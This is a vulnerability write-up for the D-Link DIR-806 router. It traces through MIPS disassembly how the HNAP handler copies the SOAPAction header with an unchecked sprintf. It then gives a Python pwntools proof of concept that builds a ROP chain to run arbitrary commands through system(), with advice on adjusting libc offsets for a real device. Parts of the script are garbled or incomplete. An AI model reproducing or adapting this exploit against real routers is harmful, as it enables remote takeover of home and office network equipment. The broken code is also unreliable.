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DIR-806_Stack Overflow to Run Shellcode


The fireware is the lasted version of DIR-806 in DLINK website: 

Vulnerability Analyze

just like the start of:

When the router get the request of HNAP, it will call the hnap_main() function in /htdocs/cgibin,then it get SOAPAction by getenv :

.text:00411FAC                 la      $a0, aHttp_authoriza  # "HTTP_AUTHORIZATION"
.text:00411FB0                 lui     $a0, 0x42  # 'B'
.text:00411FB4                 lw      $gp, 0x248+var_230($sp)
.text:00411FB8                 la      $a0, aHttp_soapactio  # "HTTP_SOAPACTION"
.text:00411FBC                 la      $t9, getenv
.text:00411FC0                 jalr    $t9 ; getenv
.text:00411FC4                 move    $s2, $v0
.text:00411FC8                 lui     $a0, 0x42  # 'B'
.text:00411FCC                 lw      $gp, 0x248+var_230($sp)
.text:00411FD0                 la      $a0, aRequest_method  # "REQUEST_METHOD"
.text:00411FD4                 la      $t9, getenv

then it will check the SOAPAction start with

.text:00411FF0                 la      $t9, strstr
.text:00411FF4                 la      $a1, aHttpPurenetwor  # ""...
.text:00411FF8                 jalr    $t9 ; strstr
.text:00411FFC                 move    $a0, $s0         # haystack
.text:00412000                 lw      $gp, 0x248+var_230($sp)
.text:00412004                 bnez    $v0, loc_412044

then the function will get the string in SOAPAction that after the right "/" by strrchr:

.text:00412044                 la      $t9, strrchr
.text:00412048                 move    $a0, $s0         # s
.text:0041204C                 jalr    $t9 ; strrchr
.text:00412050                 li      $a1, 0x2F  # '/'  # c
.text:00412054                 lw      $gp, 0x248+var_230($sp)
.text:00412058                 bnez    $v0, loc_412080

then it will call the sprintf function but it won't check the length of the strings that it got by strrchr,and it store it in the stack:

.text:00412430                 lui     $a1, 0x42  # 'B'
.text:00412434                 move    $a0, $s4         # s
.text:00412438                 addiu   $a2, (aVarRun_0 - 0x420000)  # "/var/run/"
.text:0041243C                 la      $a1, aShSS_shDevCo_0  # "sh > /dev/console &"
.text:00412440 loc_412440:                              # CODE XREF: hnap_main+4D8↑j
.text:00412440                 jalr    $t9 ; sprintf

so that we can overflow the $s0-s7 and $ra when hnap_main return:

.text:004124C4                 lw      $ra, 0x248+var_4($sp)
.text:004124C8                 lw      $s7, 0x248+var_8($sp)
.text:004124CC                 lw      $s6, 0x248+var_C($sp)
.text:004124D0                 lw      $s5, 0x248+var_10($sp)
.text:004124D4                 lw      $s4, 0x248+var_14($sp)
.text:004124D8                 lw      $s3, 0x248+var_18($sp)
.text:004124DC                 lw      $s2, 0x248+var_1C($sp)
.text:004124E0                 lw      $s1, 0x248+var_20($sp)
.text:004124E4                 lw      $s0, 0x248+var_24($sp)
.text:004124E8                 jr      $ra
.text:004124EC                 addiu   $sp, 0x248

If we make a rop chain in stack,it will finally call the system(our cmd)


from pwn import *
import requests
import sys
def get_payload():
  payload+=p32(libc_addr+0x0F5B4)[::-1]#ra->get cmd in s4->jar s6
  return payload
data="<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<soap:Envelope xmlns:xsi=\"\" xmlns:xsd=\"\" xmlns:soap=\"\" soap:encodingStyle=\"\">\
    <GetWanSettings xmlns=\"\">\

if __name__=="__main__":
    header = {
        'SOAPAction' : fake_cmd,
        'Cookie'        : "uid=LS32Srlx8N",
        'Content-Type'  : 'text/xml',
        'Content-Length': str(len(data))
    url="",headers=header,data=data)"Kirin-say PWN")

you can also edit the cmd to run different shell,but you should also edit the libc_addr because I write this POC by qemu,so you should edit offset of in real environment. For example(the router reboot successfully) Success

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